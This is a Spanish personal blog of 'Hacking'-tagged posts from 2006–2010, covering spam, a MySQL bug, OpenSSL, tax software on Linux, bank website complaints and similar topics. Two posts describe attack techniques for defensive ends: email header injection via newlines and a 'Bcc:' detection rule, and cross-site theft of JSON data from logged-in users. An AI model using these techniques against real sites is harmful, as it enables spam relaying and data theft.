Perdiendo la batalla de la seguridad

De frikis/Hacking — 10/05/2010 @ 08:49

Interesante artículo sobre seguridad, que se plantea si no estaremos perdiendo la batalla de la seguridad en los ordenadores de usuario, y si a la hora de diseñar servicios online debe ser una asunción básica de partida. La verdad es que ya cada vez es menos seguro un ordenador de usuario. Millones de personas sin conocimientos se intercambian presentaciones y ficheros y abren cualquier cosa sin pensarlo ni un segundo. Cuando utilizo un ordenador compartido en mis viajes tengo pánico y a la vuelta el primer paso es cambiar las contraseñas de todo. Algunas entidades bancarias empiezan a repartir CDs autoarrancables con Linux, para que los clientes realicen operaciones sólo desde ese entorno, de sólo lectura y seguridad comprobada…

Que a pesar de lo que avanzan los ordenadores, los sistemas, los antivirus sigamos en las mismas no es un signo positivo. Habrá que ver si linux en dispositivos, nuevos navegadores sin complejos con énfasis en la seguridad como Chrome cambian algo, pero probablemente sólo lo cambien entre los que ya prestan atención a la seguridad y no están infectados hoy en día…

MySQL WTF

De frikis/{ Hacking | Curiosidades } — 18/08/2009 @ 22:25

Mysql es una base de datos Open Source fiable y rápida. Ideal para la llamada “Web 2.0″ (o 3.0, no se por qué número vamos ya). Las grandes plataformas web no pueden depender de una base de datos relacional al estilo tradicional. Los datos se encuentran particionados en diferentes tablas, cada tabla casi en su propia granja de servidores. Los conceptos de Foreign Key, integridad referencial, normalización, etc. tan venerados por los diseñadores de bases de datos no tienen sentido. Ninguna base de datos ni máquina puede escalar a los niveles que necesitan las grandes plataformas web.

La responsabilidad sobre la lógica, la gestión de los datos, la gestión de la integridad se desplaza a los frontales, el código de la aplicación, instalado en cientos de servidores, y que por tanto escala casi linealmente frente al cuello de botella de las bases de datos.

Por ello mysql con su sencillez y orientación a la velocidad se posiciona como alternativa interesante, apoyada por sistemas de caché key-value (de nuevo nada relacionales) como Memcached. Incluso existen forks (por importantes divergencias en la forma de llevar el desarrollo) como Drizzle o Maria DB que incluso recortan aún más las funcionalidades para poder avanzar en el camino de la escalabilidad.

Pero MySQL también tiene cosas malas. Como este bug por el que hemos perdido horas y horas de investigación en tuenti. Al cambiar unas tablas de MyISAM a InnoDB empezamos a observar cómo el esclavo migrado se empezaba a retrasar respecto al maestro, totalmente saturado con las consultas y el thread de replicación consumiendo el 100% de uno de los cores.

Un ejemplo lo resume todo:

mysql> SELECT * FROM test WHERE int_field=1 and bigint_field=1;
Empty set (0.00 sec)

mysql> SELECT * FROM test WHERE (int_field,bigint_field) IN ((1,1)); Empty set (0.00 sec)

mysql> DELETE FROM test WHERE int_field=1 and bingint_field=1; Query OK, 0 rows affected (0.00 sec)

mysql> DELETE FROM test WHERE (int_field,bingint_field) IN ((1,1)); Query OK, 0 rows affected (1.19 sec) ^…………………………….. WTF!!!

El problema de rendimiento ocurre cuando se utiliza la sintaxis IN, sólo si hay dos o más campos en el IN, sólo si al menos uno de los campos es BIGINT. Un conjunto de condiciones cuanto menos curioso. Cambiando la sintaxis de las queries, problema resuelto…

El problema es especialmente notable cuando la tabla es InnoDB. Con MyISAM el cuatro query tarda 0.19sec, mejor, pero un tiempo todavía absurdo comparado con los tiempos de los otros queries. ¡Deberían comportarse todos igual! Definitivamente hay algo roto en los entresijos del servidor para tener un rendimiento tan horrible.

Nuevo PRNG para OpenSSL

De frikis/{ Hacking | Open Source } — 14/05/2008 @ 14:24

xkcd nos desveló hace ya tiempo el nuevo PRNG que se iba a utilizar para OpenSSL en debian:

Random Number

Si no sabes de qué va esto, aquí tienes información sobre el grave fallo de seguridad. Si has instalado debians/ubuntus o has generado claves SSL/SSH desde 2006/09 puedes estar afectado. En el wiki de debian hay instrucciones de cómo detectar y corregir el problema.

Declaración de la renta desde Linux/Mac

De frikis/{ Hacking | Open Source } — 12/05/2008 @ 18:13

Una vez más Hacienda nos hace la puñeta. Y no, no me estoy refiriendo a los impuestos, necesarios para mantener un estado con servicios públicos, sino a que una vez más el programa de ayuda para la declaración de la renta 2007 sólo está disponible para Windows, lo cual nos excluye y discrimina a muchos.

El año pasado probé con wine, pero daba innumerables problemas, y al final, dándoles la vara por email, conseguí enterarme de la alternativa que proponen para los descarriados: utilizar un cliente Citrix para conectar con unos servidores windoze, que hospedan la aplicación y guardan su resultado en nuestro ordenador como si fuera un programa local.

Como las instrucciones son un tanto crípticas, resumo aquí los pasos que hay que realizar para hacer la renta 2007 desde linux o mac:

  1. Lo primero es descargarse el cliente citrix para nuestro sistema operativo, linux o mac. No recomiendo descargarlo en español, que es muy antigua.
  2. Para instalar en linux yo descargué el tar. En el tar hay un fichero setupwfc que debemos ejecutar, y que instala el cliente citrix en el directorio que indiquemos. Se puede hacer como usuario normal e instalar en el home del usuario, algo que yo prefiero, para que no instale basura en el resto del sistema de ficheros.
  3. En linux es necesario además instalar las librerías openmotif. En Debian/Ubuntu basta ejecutar sudo apt-get install libmotif3. Puede que necesites tener habilitado el repositorio “multiverse”.
  4. Después hay que ejecutar la configuración ./wfcmgr y en Tools->Settings->Drive Mapping mapear la unidad Z a un directorio local donde se guardará la declaración. Aseguraos de habilitar la unidad así como de asignar permisos de lectura y escritura:
Configuración del cliente Citrix para la declaración de la renta 2007

En el espartano y horrible portal de programas de ayuda (bastante difícil de encontrar, por cierto) podéis encontrar algo más de información sobre configuración y algunos problemas frecuentes.

Para lanzar el cliente citrix se puede pulsar en el botón “Ejecución con Cliente Nativo” del portal de programas de ayuda. A mi me ha dado problemas lanzarlo directamente desde el navegador, por lo que si lo preferís podéis descargar éste fichero de configuración y lanzarlo directamente con: ./wfica -file renta2007.ica.

Otra recomendación es que antes de comenzar os descarguéis los datos fiscales de 2007 y los guardéis en la unidad compartida Z. Al hacer una nueva declaración y rellenar unos cuantos datos, da la opción de importar los datos fiscales desde un fichero lo que ahorra picar muchos datos. Una vez pasas a la declaración, ya no puedes volver a importar esos datos.

Recordad también guardar la declaración y cerrar el programa de ayuda, ya que es cuando se escriben los datos a la unidad Z que está en nuestro ordenador. Si perdemos la conexión antes de cerrar el programa de ayuda, o cerramos directamente el cliente citrix se pierden los datos.

Bueno, mucha suerte, que os salga a devolver y recordad que es mejor no dejarlo para el final :)

Y a ver si para el año que viene hacen de una vez una aplicación Open Source y multiplataforma, como debería ser, sin tener que recurrir a chapuzas como un cliente citrix, que, además, es software comercial que le debe costar un buen pico a Hacienda. En Brasil, por ejemplo, el programa para calcular el IRPF ya es Software Libre.

Cómo no hacer páginas web (OpenBank)

De frikis/{ Hacking | Curiosidades | Quejas } — 21/01/2008 @ 18:48

Soy un sufrido cliente de OpenBank. Antes tenían una web espartana pero funcional, sin demasiado javascript pero rápida y perfectamente funcional en todos los navegadores. Incluso con el navegador en modo texto links he llegado a utilizarla.

Pero recientemente han lanzado una nueva versión, bien aderezada de javascript y bazofia AJAX. Digo bazofia porque cuando no tienes ni puta idea, suele ser mejor que no lo utilices.

Para empezar, tras hacer login, la página con las operaciones requiere:

  • 42 peticiones (más alguna que no se cuenta, porque hay una redirección de por medio)
  • 799Kbytes (La mayoría en librerías JS que ni siquiera están optimizadas)
  • 18,43 segs. (Si, en una conexión muy buena y un Firefox con el número de peticiones concurrentes aumentado, que en uno normal iría más lento)
Cómo hacer una web ligera y accesible

¿Ustedes lo ven normal? Yo desde luego, no…

Luego utilizan javascript hasta para mear. Hay páginas impresas por javascript “on the fly". Programar en el servidor debe ser muy complicado o requerir muchos recursos en el servidor, así que se imprime un buen trozo de JS con document.write… Si señor, eso es ser profesional. Los enlaces como todo el mundo sabe existen para llamar exclusivamente a funciones javascript. Han leído que CSS es lo más “modelno", y lo usan mucho (más de 10 ficheros CSS cada vez que cambias de página), pero las invocan desde el body del documento HTML, no desde el header. Por supuesto todo son frames e iframes, etc. Curiosamente han oído que lo cool es utilizar divs, así que nada, ellos meten divs por todos lados, incluso en celdas de tablas. Hay que ser cool.

Y bueno, sufriendo mucho todo esto lo podría aguantar… Si no fuera porque no funciona bien con Firefox… Y me he vuelto loco con el Firebug. No hay errores serios, pero no se ven las pestañas para hacer operaciones. Pero he logrado cargar alguna página y hacer transferencias cortando y pegando urls del código javascript.

En seguida empecé a escribirles, indignado por el problema de acceso y la ínfima calidad del desarrollo.

Afortunadamente, tras un cambio de esta importancia, OpenBank sabe que tener un buen equipo de soporte para atender las nuevas dudas de uso. E incluso responden a los emails que les escribía poniéndoles a parir.

Los emails respuesta siempre constan de las siguientes partes:

  • Sentido agradecimiento:
    Muchas gracias por su mensaje:
    Incluso cuando les pongo a parir me lo agradecen, que majos…

  • Disculpas por la demora:
    Debido a una incidencia puntual no hemos recibido su mensaje hasta el
    día de hoy. Le pedimos disculpas por las molestias que esta situación
    haya podido ocasionarle.
    Que casualidad que TODOS mis mensajes estén afectados por la misma incidencia puntual. Si tienen mucho trabajo y no dan abasto, simplemente pidan disculpas por la demora, no me suelten paridas técnicas para exculparse, que no somos idiotas.

  • Más agradecimientos y algún tipo de excusa sobre lo mucho que se esfuerzan en mejorar:
    Le agradecemos que nos transmita su opinión acerca de la web de
    Openbank, y le pedimos disculpas unavez más por las molestias que le
    estamos ocasionando. Nuestro objetivo es ir ampliando los productos y
    servicios financieros, manteniendo nuestro compromiso de calidad y
    atención al cliente.
    Realmente inspirador… Además van cambiando el párrafo y todo de vez en cuando.

  • La brillante solución al problema (siempre sin leerse mi problema, que precisamente es que no funciona con navegadores no-explorer):
    En este sentido nosotros le informamos que la web de Openbank está
    optimizada para una resolución de 1024 * 768 píxeles, con Windows y
    con los navegadores Microsoft Internet Explorer 5.0 o superior /
    Netscape 6.2 o superior.
    Si no dispone de alguna de estas versiones puede descargárselas
    gratuitamente en la página web de netscape y en la de microsoft.
    Si utiliza otros sistemas operativos (Mac, Linux), recomendamos que
    los utilice con Mozilla Firefox.
    Muy bien… Ya que Firefox les digo que no funciona, probaré la web de microsoft a ver si ya está explorer para Ubuntu… (y ie4linux muere al cargar openbank, por si alguien lo sugiere –y sin entrar a que no debería utilizarse para navegar, sólo para desarrollo–.)

  • Despedida, saludo y otros formalismos

Pero por fin, tras mucho insistir, casi 10 mails y al final casi gritarles que se lean los emails que les envían en vez de contestar respuestas predefinidas… me envían “la solución”TM. Resulta que el frame con los enlaces se sale del área visible. Me envían un PDF diciendo que pulse en una zona, y pulse “Avance página” para mover el frame hacia abajo y… milagro, ¡aparecen los enlaces para operar!

Sobre el arreglo, ya que saben del problema podrían solucionarlo, en vez de enviar unas instrucciones así de cutres al usuario (a mí al menos me daría vergüenza). Pero aún hay más. El que haya generado el PDF además de cutre es un “friki” gracioso. El teclado de ejemplo que muestra de ejemplo es un Das Keyboard, como todo buen friki rápidamente reconocerá… No sé, a lo mejor es un guiño entre frikis, y me río, pero si es una bromita de los que crearon la mierda de aplicación web, ya me toca un poco las narices su falta de profesionalidad. Aquí os dejo, con las soluciones avanzadas de OpenBank, con Das Keyboard:

Las soluciones 'creativas' de OpenBank

Y por cierto, ahora logro pulsar en la pestaña “Operativa", sí, pero cuando lo hago se queda todo en blanco. ¿Tendré que hacer Avance de página en algún otro frame que no veo? ¿sugerencias?

Update: Me acabo de enterar de que no todos los usuarios ven la web nueva al acceder. Algunos aún entran en la vieja, así que a lo mejor simplemente utilizan a algunos pardillos (entre los que me incluyo) como cobayas de laboratorio para su nueva y flamante web. ¡Suerte y que no os migren muy pronto!

Google Developer Day 2007

De frikis/{ Hacking | Curiosidades | Open Source } — 1/06/2007 @ 10:12

Google Developer Day¡Ayer estuve en el evento para programadores organizado por Google, el Google Developer Day 2007!

La verdad es que fue estupendo, me lo pasé muy bien y la organización fue muy cuidada, con regalitos, ambiente estupendo, comida excelente…

El problema más gordo, increíble pero cierto, fue la red inalámbrica. Empezando porque inicialmente sólo habían previsto una red, y que encima estaba dando IPs en una res máscara 255.255.255.0. Éramos 500, el 95% con portátiles, así que las IPs se acabaron en seguida. Tampoco tenían una red separada y protegida para los ponentes, con lo que muchas charlas se vieron empañadas por dificultades de acceso. Muy rápidamente añadieron 6 redes más, y más o menos empezó todo a funcionar, pero con cortes intermitentes y una velocidad “ante-adsl-iana".

Mi taller sobre GData tampoco fue especialmente bueno, ya que para linux el entorno eclipse que facilitaron no tenía todos los plugins necesarios, y perdimos mucho tiempo en arreglar esas cosas, y el tiempo restante fue demasiado poco para poder hacer el taller normalmente. Además el taller era casi calcado a los ejemplos prácticos que te proponen en la documentación, nada nuevo. Yo esperaba algo más de nivel, algo más creativo que una práctica medio guiada. Oí en cambio que el taller de Google Maps estuvo mucho mejor.

Hablaron de los Mapplets, que permiten hacer mashups con mapas (con patata güebdospuntocero en la boca) de forma fácil, sin programar. En general a los mapas y a la información geolocalizada le dieron mucha importancia. Es muy importante poder relacionar la información con la localización, el 80% de la información mundial va asociada a una localización, pero hasta ahora las empresas sólo se habían centrado en los usos más importantes (búsqueda de calles y rutas), pero los nichos suponen en conjunto mucho más valor añadido. Las apis de Google Maps están siendo un éxito sin precedentes en este sentido, permitiendo a desarrolladores externos desarrollar aplicaciones para nichos: Mapas con rutas de bicicleta, compras de pisos, etc, etc, etc…

También hubo una aburrida (para mí) charla sobre los Gadgets. Las cositas esas que se pueden embeber en la web principal de Google y en tu página web, con un reloj y todo tipo de chorradillas. Yo no le veo mucha utilidad, pero entre adolescentes aprendices de frikis poder poner un reloj rosa parece que hace furor, y para empresas grandes hacer cacharros de estos con información les es interesante porque les da millones de visitas gratis.

También han lanzado el Google Mashup Editor, competidor de Yahoo Pipes, aunque parece que va más orientado a desarrolladores, no va a ser una herramienta gráfica, para el usuario final. El proyecto aún es beta, y no dejan apuntarse. Una lástima. Intentaré utilizar una de las tarjetas que conseguí ayer a ver si me cuelan en la beta.

Pero lo que más me gustó fue Google Gears, un proyecto que presentaron ayer mismo, y que permite desarrollar aplicaciones que funcionan offline. Es Open Source (ayer una de las consas en las que más hicieron hincapié es en la necesidad de usar Open Source para impulsar estándares), funciona en los principales navegadores y es multiplataforma. Consiste en una capa intermedia que intercepta las llamadas al servidor y es capaz de responderlas si no hay conexión. Se programa en javascript (pero corre en un thread aparte, con lo que el navegador no se resiente ni se queda bloqueado como con los scripts malignos que se ejecutan habitualmente en las webs) y tiene una base de datos SQLite. El funcionamiento parece sencillo, el código es muy asequible, y se apoya en un fichero que describe que recursos (imágenes, scripts, css) se debe bajar el navegador para pasar a modo offline. Esto puede incluir un JSON con los items del TODO, que quieres que estén accesibles offline, por ejemplo. Estoy deseando cacharrear con la plataforma.

Si quieres probarlo, lo puedes instalar y ver demos desde la web de Google Gears, pero la mejor prueba posible es el nuevo Google Reader, que ya está adaptado y permite consultar offline los últimos 2000 items de tus feeds. ¡¡¡Busca el icono arriba a la derecha!!!

Google reader entrando en modo offline

Por cierto, que hablé con el desarrollador del Google Reader para darle las gracias por la estupenda aplicación, y preguntarle por la búsqueda, que piensan añadir en breve, y sugerirles la necesidad de filtrar duplicados (por ejemplo si sindicas dos planetas en la misma carpeta, y un blog está en los dos planetas, que sus noticias no salgan duplicadas). Ya estaba al tanto del problema, y me dijo que en cuanto esté la búsqueda, eso ya será posible.

Para terminar, iban a dar una charla los directivos desde Mountain View, pero parece que estaban muy liados comprando empresas -la española Panoramio, para más detalles-, así que nos quedamos con las ganas. Para acabar invitaba a barra libre y canapés, con musiquilla y un ambiente muy agradable.

Finalmente, Google tiró la casa por la ventana: Nos iba a llevar a cada uno a casa en helicóptero, pero ¿por qué llevarnos si puede regalarnos uno exclusivo para cada uno? Aquí tenéis mi chupi helicóptero (me muero por probarlo, pero llegué a las mil a casa):

Mi super helicóptero

“Para 2006 el SPAM no será un problema”

De frikis/{ Hacking | Curiosidades } — 7/12/2006 @ 23:20

Esa frase mítica la dijo Bill Gates en 2003, y va camino de convertirse en un error tan famoso como sufrase “640K (de RAM) deberían ser suficientes para todo el mundo” que dijo en 1981.

Aquí os presento una gráfica del correo basura o SPAM que recibo cada mes desde 2003 a 2006, para una de mis cuentas (la de la asociación Eurielec). En GIO recibía bastante más spam por estar en muchos alias, pero no dispongo de cifras estadísticas.

Gráfica de spam, que muestra un incremento casi lineal del SPAM

Podemos ver que el problema del spam, lejos de desaparecer, sigue creciendo. Salvo en el periodo julio-diciembre de 2005 donde se aprecia una sustanciosa reducción (probablemente por campañas legales contra spamers) el resto del tiempo sigue aumentando.

Podría decirse que el problema está resuelto para aquellos que tienen filtros antispam, como matizó más tarde Bill. Desde luego su apuesta por el “Sender ID” como técnica para luchar contra el spam ha sido un fiasco, y Hotmail es uno de los proveedores de correo al que más SPAM se le cuela. A pesar de todo, los filtros anti-spam que aprenden analizando patrones de texto del correo tienen un grado de éxito razonable. Yo uso bogofilter, con unos resultados muy aceptables. La gran mayoría de los emails que aparecen en las gráficas han sido detectados y filtrados automáticamente.

En problema es que sin embargo últimamente el spam está llegando a unas cotas de tecnología enormes:

  • Utilizan exploits “0-day” para extender troyanos y controlar masivas redes de ordenadores para el envío de correos.
  • Siguiendo patrones de envío cada vez más parecidos a los correos legítimos, alternando IPs, froms, contenidos, sin provocar exceso de un tipo.
  • Utilizando SPF y otras tecnologías anti-spam a su favor, dando de alta dominios para envíos y dejándolos de usar en menos de 24h, demasiado rápido como para que se puedan filtrar.
  • Mandando mensajes con imágenes que van cambiando (diferentes hash), ascii art, etc.
  • No incluyendo enlaces. Por ejemplo ganando dinero provocando compras de acciones…
  • Incluyendo textos en los emails relacionados con la temática con la que pareces relacionado. A mi me incluyen trozos de manuales sobre CSS, diseño web, programación, que no puedo clasificar como SPAM por miedo a que mis filtros aprendan mal y empiecen a filtrar correo legítimo que me interesa.

Con tanta especialización de los spammers está claro que cada vez va a ser más difícil luchar contra el spam de forma aislada, individual. Sistemas como Akismet funcionan bastante bien para blogs, y proveedores de correo como Gmail, con gran cantidad de usuarios, tienen una calidad de filtrado muy alto gracias a que pueden comparar lo que reciben muchísimos usuarios y detectar enormes cantidades de emails similares. Conozco a gente que se envía todo su correo a gmail sólo para que le filtre el correo no deseado.

En fin, está claro que el problema tiene poca solución. Esperemos que poco a poco la extensión del uso de filtros anti-spam vaya reduciendo el margen de éxitos de los spamers, y deje de ser un mercado rentable. Mientras genere beneficios, está claro que tendremos spam para rato.

Cómo evitar SPAM en formularios web

De frikis/{ Hacking | Curiosidades } — 5/12/2006 @ 12:25

Seguimos con las recetas de seguridad:

Siempre que tengas un formulario para enviar emails:

  • No permitas definir el “to:” Los spamers usarán tu formulario (y tu servidor) para enviar publicidad a su lista de emails.
  • No permitas n r o similares en ninguno de los campos subject, from,
    to…:
    Pueden usarlos para inyectar campos Bcc/CC con los que añadir destinatarios para los emails, y lograr así enviar correo a través de tu servidor.
  • No uses nombres obvios que busquen los spamers: Buscan campos de formularios que se llamen email, recipient, etc…
  • Si detectas Bcc: en alguno de los campos, tira el mensaje a la basura: Es un intento de envío de correo no solicitado.
  • Usa capchas: Bastante efectivo, aunque algo tedioso de programar y los spammers pueden llegar a contrata a gente de países pobres que les reconozca capchas.

Si es un formulario que mete datos en DB:

  • No uses nombres obvios que busquen los spamers: Buscan campos de formularios que se llamen title, subject, body, post_title, etc…
  • Usa capchas.
  • licas enlaces, añade siempre el rel="nofollow” al tag del enlace: Esto hace que los links no cuenten para google, y por lo tanto deja de interesar tanto a los spammers.
  • Limita el número de links: Si tiene más de un número razonable, suele ser SPAM.
  • Limita los USER_AGENT: Algunas páginas, como los trackback de los blogs no tiene sentido que sean accedidas por navegadores normales. Las peticiones las suelen realizar scripts de blogs con user agents raros, no explorer ni firefox. Bloquear estos navegadores en esas páginas suele ser una buena idea.
  • Sistemas de filtrado: Existen sistemas que analizan la probabilidad de que una entrada sea SPAM, basándose en su contenido, repeticiones… Por ejemplo Akismet es un servicio especializado en filtrar para blogs, y al recibir los comentarios de infinidad de ellos puede detectar rápidamente nuevos spam en cuanto se empiezan a detectar muchos iguales.

Además yo uso un truco tremendamente efectivo:

Suelo incluir unos campos:
<input type="text" name="email" ...
<input type="text” name="title” …

Los metes en un div con display:none, para que los usuarios legítimos no lo vean y no lo rellenen. Los spammers meterán datos en esos campos sin dudarlo y sin darse cuenta del display:none. En cuanto recibas $_POST[’email’] y/o $_POST[’title’] puedes bloquear la petición directamente, sin analizar nada más.

Si puedes, bloquea también la IP por unos minutos (necesitas un firewall que lo permita, o una serie de scripts para gestionar bloqueos temporales), que si no tendrás al spamer entusiasmado venga a hacer peticiones creyendo que funcionan, y chupando demasiado ancho de banda de entrada (al menos este canal suele ser el menos saturado).

Ojito con AJAX y JSON

De frikis/{ Hacking | Curiosidades } — 4/12/2006 @ 18:30

AJAX es cool, JSON mola, Web 2.0 y 3.0 son lo más… ¡¡¡Pero volvemos a lo de siempre, ojito con la seguridad!!!

Normalmente si desde una página cargas otra (de un dominio diferente) en un frame, y tratas de acceder a su contenido, el navegador no te dejará por motivos de seguridad. Por ejemplo si en esta página pongo un iframe con www.gmail.com, se cargará tu cuenta de correo, pero desde código javascript de mi máquina no puedo acceder al contenido del frame y leer tu correo.

Sin embargo sí que se puede acceder a las variables y/o funciones javascript incluidas en un <script src="…", aunque la url que utilices sea remota, perteneciente a un servidor remoto.

Si en nuestro servidor incluimos datos sensibles, información privada de usuarios como código javascript, desde páginas remotas se podrá invocar el script, y si tienen la sesión iniciada es posible robar datos.

Eso solo pasa cuando se utiliza JSON (se devuelve código javascript en respuesta a peticiones AJAX). Es mas rápido que devolver XML (el formato original de AJAX) y que nuestro javascript tenga que procesarlo, pero puede traer problemas como el de inclusiones remotas. Este problema le ha pasado nada menos que a Google, experto en web 2.0, AJAX y demás, con lo que no quiero ni pensar lo que podría hacer esto en manos de webmasters poco hábiles.

Ya sabes, si utilizas JSON para máxima velocidad a la hora de responder peticiones AJAX, debes revisar bien su seguridad:

  • No incluyas datos sensibles sacados de sesión en respuestas JSON (sólo respuestas a los parámetros dados).
  • Si necesitas hacerlo, incluye unos tags HTML o basura antes y después, para que no pueda ser invocado como código javascript (de error al incluirlo).
  • Haz que la URL no sea fácilmente predecible.
  • Comprueba que el referrer es tu propia página y no ninguna externa

Por fin de vuelta

De frikis/Hacking — 28/11/2006 @ 11:53

Desde el viernes lleva apagado el servidor del club Eurielec, donde tengo alojado este blog. Ese día apagaron a lo bestia el servidor, y al arrancar el RAID daba problema, no se reconocía un disco y no arrancaba. Yo no estaba ya en la escuela así que montamos una graciosa cadena de intrucciones. Yo por teléfono con Chesko, éste por mensajería instantánea con Golfo, y éste leyendo las órdenes en voz alta para que alguien las ejecutara en el servidor. Cuando creíamos que todo debería funcionar, una vez recompuestos los arrays RAID y tal, el reinicio final no funcionó. No era capaz de detectar las particiones, así que hubo que dejarlo (arreglar eso por teléfono es ya poco menos que difícil y arriesgado).

El sábado intenté ir a arreglarlo, arrancando con un CD de instalación de ubuntu, recomponiendo los raid, etc. Pero tras perder allí unas cuantas horas, y varios “portelgeist” (uno de los discos duros perdía la tabla de particiones al reiniciar), no logré que funcionara y tenía citas familiares.

El lunes tras varios intentos ya no se perdían las tablas de particiones, pero no estaba instalado el grub para arrancar y el script grub-install no funcionaba (tras montar los raid con el cd de instalación, hacer un chroot al raiz del servidor, etc). Decidimos ir a lo importante, salvar los datos, y puse a copiar por red (tar + netcat para máxima velocidad) los 180 gigas de datos del servidor. Tardó todo el puñetero día, y por la tarde sólo pude hacer alguna prueba más antes de irme, ya tarde.

Finalmente, por fin, esta mañana he logrado instalar el grub en el sector de arranque de ambos discos, desde la propia consola de root, y el servidor vuelve a funcionar. :)

Menos mal que ya tenemos pensado comprar y montar un ordenador reemplazo para los dos servidores actuales “cero” -el que murió esta vez- (Pentium II, 192 de ram, 2HD 200Gb en RAID que a duras penas daba para la web + bases de datos + cuentas.) y “uno” (Un simple Pentium con el correo, que moría con el mailman y los filtros antispam).

Corre, MS, Corre

De frikis/{ Hacking | Patentes NO } — 8/09/2006 @ 14:06

Toda la industria informática asiste con una sonrisa dibujada en los labios al desesperado intento de Microsoft de solucionar un problema descubierto en su DRM. Un programa llamado FairUse4WM lograba eliminar la protección DRM de los ficheros WM video/audio. ¿El ojetivo? permitir a los usuarios utilizar los contenidos por los que ha pagado en cualquier dispositivo, no sólo los que determine MS. Además, por supuesto, está el uso ilegal, como liberar contenidos alquilados sólo por un espacio de tiempo, distribuir contenidos ya desprotegidos, etc…

Normalmente MS saca los parches de seguridad de forma conjunta el primer martes de cada mes, independientemente de lo peligroso del fallo, aunque tengas tu culito al aire durante un mes entero. ¿Cuánto ha tardado en parchear el fallo del DRM? 3 días… Y no es un fallo gordo, que perjudique a los usuarios (los beneficia realmente). Se puede observar claramente qué es lo que importa realmente a MS. La seguridad por mucho que nos diga no es lo primero, la pela sí. Y es que ese agujerito en el DRM puede hacer peligrar muchos acuerdos con la industria discográfica, y los ingresos derivados.

Recuérdalo cuando te digan que te tienes que actualizar a Windows Vista para que estés más seguro. Mentira, sólo quieren tu dinero y capar tu ordenador con bien de DRM para controlar que cosas puedes y no puedes hacer con los contenidos que compras. Es como si la enciclopedia viniera con un hombrecito que te diera capones si intentas copiar un párrafo en un trabajo, hostias bien dadas si se te ocurre tratar de fotocopiarlo, e impidiera abrir el libro si se lo prestas a un vecino. Eso no es “buen uso", quieren que tu vecino también pague.

Lo mejor de todo es que menos de 3 días han tardado los de FairUse4WM en sacar una nueva versión que se salta el parche. Y MS volverá a intentarlo, no tengan duda, sin esperar ni loco al próximo martes. Como dice Wired News (artículo que recomiendo leer):

That was Saturday. Any guess on how long it will take Microsoft to patch Media Player once again? And then how long before the FairUse4WM people update their own software?

Certainly much less time than it will take Microsoft and the recording industry to realize they’re playing a losing game, and that trying to make digital files uncopyable is like trying to make water not wet.

Y por ahora parece que el agua seguirá siendo mojada por muchos años más…

¿Censura en la red?

De frikis/{ Hacking | Patentes NO | Quejas } — 5/09/2006 @ 12:16

Los políticos deberían restringirse a sus funciones y limitarse a sus conocimientos (¿el mangoneo?). Al parecer Industria está preparando una nueva ley para “El Impulso de la Sociedad de la Información” (que debe tener mucho que ver con Industria).

Entre algunas novedades más o menos positivas (impulsar la firma electrónica, fomentar la industria de contenidos -¿mas $$ para la SGAE?- etc) van y meten esta burrada:

El Gobierno podrá impedir el acceso desde España a servicios o contenidos internacionales cuya interrupción o retirada haya decidido un órgano competente

¿Esto qué narices es? ¿qué órgano competente? ¿qué contenidos quieren filtrarse? (huele más que nada a P2P y a proteger la propiedad intelectual) ¿Vamos a retroceder al nivel de China, que bloquea el acceso a contenidos? Y cómo lo van a controlar, por que me juego todo a que los filtros se saltan con cualquier proxy de privacidad… ¿o también los van a filtrar? Los operadores deben estar temblando ante la idea de tener que montar mierda-firewalls para cumplir las estúpidas posibles órdenes de bloqueo.

Por favor, ruego que recapaciten y aprendan de una vez que lo que hace a Internet la herramienta de comunicación del futuro es precisamente la ubicuidad del acceso a contenidos, su desregularización y la libertad de expresión.

Galileo libre

De frikis/Hacking — 10/07/2006 @ 12:33

Parece que poco ha durado la encriptación del protocolo usado por el proyecto Galileo (el GPS europeo), que pretendía limitar el acceso a los datos de los satélites de posicionamiento sólo a aquellos que abonaran la consiguiente tarifa.

Galileo, a diferencia del GPS, no es un proyecto financiado con fondos públicos, sino de un consorcio de empresas que espera recuperar la inversión, por lo que cobra licencias para cada cacharro que quiera utilizar el sistema. A diferencia del GPS, militar, su precisión no está limitada artificialmente y se garantiza incluso en tiempos de guerra, por lo que podrá ser utilizado en entornos críticos: Aterrizaje de aviones, entrada de buques en puertos, etc…

La gracia es que acaban de anunciar que la encriptación del protocolo ha sido rota, y con la información que proporcionan cualquier cacharro puede usar la señal de los satélites sin cánon ni leches.

Los investigadores reconocen que algunos pueden acusarles de cometer una ilegalidad, como cuando se rompe una protección del copyright de una canción, pero ellos defienden que no es comparable, que no pueden estar protegidos por copyright las emisiones de los satélites. Hacen una comparación con tratar de cobrar cánon por “mirar las luces emitidas por los faros y usarlas para posicionarse". Igual de absurdo, dicen, es cobrar cánon o considerar ilegal el “mirar de igual forma los satélites".

“Imagine someone builds a lighthouse,” argued Psiaki. “And I’ve gone by and see how often the light flashes and measured where the coordinates are. Can the owner charge me a licensing fee for looking at the light? … No. How is looking at the Galileo satellite any different?”

Hotmail, Yahoo y UTF

De frikis/{ Hacking | Curiosidades } — 1/07/2006 @ 18:54

UTF es un formato de codificación de caracteres, el llamado “Unicode", que pretende lograr que se use un único juego de caracteres para todos los lenguajes.

El juego de caracteres es lo que relaciona un número con un carácter, una letra, que se pintará en pantalla. Los documentos de texto no son sino ristras de números que se interpretan después como letras.

El primero utilizado fue ASCII que utilizaba 7 bits para cada número, es decir, tenía 127 posibles letras. Eso sólo daba para las letras inglesas, nada de acentos ni cosas raras. Por ello pronto se empezó a utilizar 1 byte (8 bits) por cada número que representa una letra, y aparecieron infinidad de códigos ISO que asocian cada número de los 255 posibles a un carácter (Por ejemplo el europeo occidental es el ISO-8859-15). Dependiendo del código ISO, un mismo número puede ser interpretado de dos formas distintas, por lo que una “á” en un documento con nuestro juego de caracteres puede convertirse en otra cosa si se lee el mismo documento con otro juego de caracteres.

Para solucionar este desaguisado, y evitar los problemas de los distintos juegos de caracteres apareció UTF, que trata que todos los lenguajes usen el mismo juego de caracteres. El más popular es el UTF-8, que usa sólo 1 byte para la mayoría de las letras estándar (ASCII y símbolos básicos) y más cuando se requiere algún caracter extendido.

Pues mientras programaba una aplicación web que utiliza todo el tiempo UTF-8 (¿su nombre es chino? 你最关心的是什么 ¡No hay problema!) descubro que los emails enviados a Hotmail y Yahoo no se muestran correctamente. El webmail de esos dos servicios es tan sumamente cutre que no utiliza UTF-8 como formato de codificación de las páginas web, y ni siquiera convierte los mensajes entrantes al código que usa la página.

